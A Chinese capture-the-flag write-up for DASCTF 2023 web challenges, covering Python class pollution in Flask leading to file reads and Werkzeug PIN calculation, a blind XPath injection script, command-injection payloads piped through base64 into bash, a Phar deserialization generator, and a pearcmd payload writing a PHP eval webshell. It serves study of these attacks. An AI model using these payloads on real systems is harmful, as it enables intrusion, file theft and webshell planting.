DASCTF 2023 & 0X401七月暑期挑战赛 EzFlask 考点:Python原型链污染,目录穿越,文件读取,Pin码计算
原型链污染参考链接
源代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
题目源代码,merge()函数暗示了可能存在原型链污染的漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
这个函数的功能是把src字典合并到dst字典中,如果dst列表中已经存在[k, v]键值对,则覆盖原键值对。如果dst列表中不存在[k, v]键值对,则创建新的[k, v]键值对。递归用于处理json中嵌套的对象
e.g.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "Father" : "Ava" , "Mother" : { "name" : "Diana" , } } { "Father" : "Ava" , "Mother" : { "name" : "Diana" , "gender" : "female" } "Son" : "Acao" } { "Father" : "Ava" , "Mother" : { "name" : "Diana" , "gender" : "female" } "Son" : "Acao" }
而Python存在许多内置属性,例如__globals__
,__class__
,__base__
等等。可以形成链子,污染无继承的类属性甚至全局变量。
以下是两种污染方法
_static_folder属性
这个属性中存放的是flask
中静态目录的值,默认该值为./static
,如果污染该值,则可通过/static
实现目录穿越。
访问flask下的静态资源的url为http://127.0.0.1/static/test
,这实际上访问了test
资源并返回,如果把该属性污染为/
,也就是根目录。
那么http://127.0.0.1/static/etc/passwd
等同于于http://127.0.0.1/etc/passwd
,因此可以访问根目录下的文件。
原型链污染出动,Post访问/register
路由注册用户
1 2 3 4 5 6 7 8 9 10 11 12 { "username" : "D1anash1ba" , "password" : "AvaDiana" , "__init_\u005f" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
__file__
属性1 2 3 4 5 6 7 8 9 { "username" : "D1anash1ba" , "password" : "AvaDiana" , "__init_\u005f" : { "__globals__" : { "__file__" : "/etc/passwd" } } }
__file__
属性是python自带的属性,审计源码可以发现网站根目录有read()函数
解题步骤 接下来就是读取文件,进行Pin码计算。
访问/static/etc/passwd
,/static/sys/class/net/eth0/address
,/etc/machine-id
,/proc/self/cgroup
。
这里有一个小坑,想要获取文件路径,只能使用第二种污染方法,通过污染__file__
使得read()函数报错,从而获取路径。或者也可以直接猜测路径,更改以下python版本号试试。
最后计算出Pin码,进入/console
,读取flag
非预期解 读取/proc/1/environment
,发现Flag在环境变量中。很多出题者会忘记这一点。
MyPicDisk 考点:XXE盲注,命令执行 || Phar反序列化,命令执行
源代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php session_start ();error_reporting (0 );class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { if (preg_match ("/\//i" , $filename )){ throw new Error ("hacker!" ); } $num = substr_count ($filename , "." ); if ($num != 1 ){ throw new Error ("hacker!" ); } if (!is_file ($filename )){ throw new Error ("???" ); } $this ->filename = $filename ; $this ->size = filesize ($filename ); $this ->lasttime = filemtime ($filename ); } public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } public function __destruct ( ) { system ("ls -all " .$this ->filename); } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" > <title>MyPicDisk</title> </head> <body> <?php if (!isset ($_SESSION ['user' ])){ echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> ' ; $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; } } } else { if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } echo "<!-- /y0u_cant_find_1t.zip -->" ; if (!$_GET ['file' ]) { foreach (scandir ("." ) as $filename ) { if (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>" ; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> ' ; if ($_FILES ['file' ]) { $filename = $_FILES ['file' ]['name' ]; if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); } if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>" ; } else { die ('failed' ); } } } else { $filename = $_GET ['file' ]; if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename ); } else { $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); } } } } ?> </body> </html>
解题步骤(XXE盲注) 看到输入框,先尝试admin弱口令,发现输入admin'
可以继续跟进,发现/y0u_cant_find_1t.zip
路由,获取源代码。
万用密码username=a' or 1 or '1&password=a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; } }
这段代码可以看到,username
和password
都存储在/tmp/secret.xml
中,因此需要使用XXE盲注获取admin的密码。只有登陆了admin的账号才可以进行文件上传。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport timeurl = "http://419a2e70-da77-4fdf-a56c-7a4b096b8645.node4.buuoj.cn:81/index.php" dicts = '0123456789abcdefghijklmnopqrstuvwxyz' ans = '' for i in range (1 , 100 ): for j in dicts: payload_password = "<username>' or substring(/accounts/user[1]/password/text(), {}, 1) = '{}' or ''='" .format (i, j) data = { "username" :payload_password, "password" :"Ava" , "submit" :"Diana" } time.sleep(0.1 ) res = requests.post(url=url, data=data) if "登录成功!" in res.text: ans += j print (ans) break if '登录失败' in res.text: break print (ans)print ("End!" )
最后得到md5加密后的密码003d7628772d6b57fec5f30ccbc82be1
,解密得到原密码15035371139
登录后就是一个网盘系统,可以上传文件,重点关注一下代码,命令拼接可以rce。
1 2 3 public function __destruct ( ) { system ("ls -all " .$this ->filename); }
拼接命令注入,payload:;echo bHMgLwo|base64 -d|bash;123.jpg
。这条payload将base64加密后的ls /
交给base64 -d
命令执行,解密后的结果作为输入给bash
执行。注意使用;
分隔不同的命令。
访问超链接即可执行命令(源代码自定义了一个FILE类,需要访问来创建这个类的实例,并在最后自动回收触发__destruct__()
函数才能rce)
得到flag文件名adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
,修改命令再次发包。
payload:;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;123.jpg
解题步骤(Phar反序列化漏洞) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class FILE { public $filename =";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt" ; public $lasttime ; public $size ; public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } } $phar = new Phar ("abc.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new FILE ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
ez_cms 考点:文件包含,pearcmd写WebShell
pearcmd的利用 标准格式payload
1 ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= @eval ($_POST ['cmd' ]);?> +/tmp/shell.php
不过并不是所有pear都在上述payload路径下,例如本题就在/usr/share
下
1 /admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?= eval ($_POST [cmd]);>+../../../../../../../../tmp/shell.php
burpsuite发包写webshell,蚁剑连接
1 http://024706da-30e8-418a-9871-0d5628438b6e.node4.buuoj.cn:81//admin/index.php?r=../../../../../../../../tmp/shell
在根目录下找到flag
ez_py session pickle反序列化
一坨 复现不了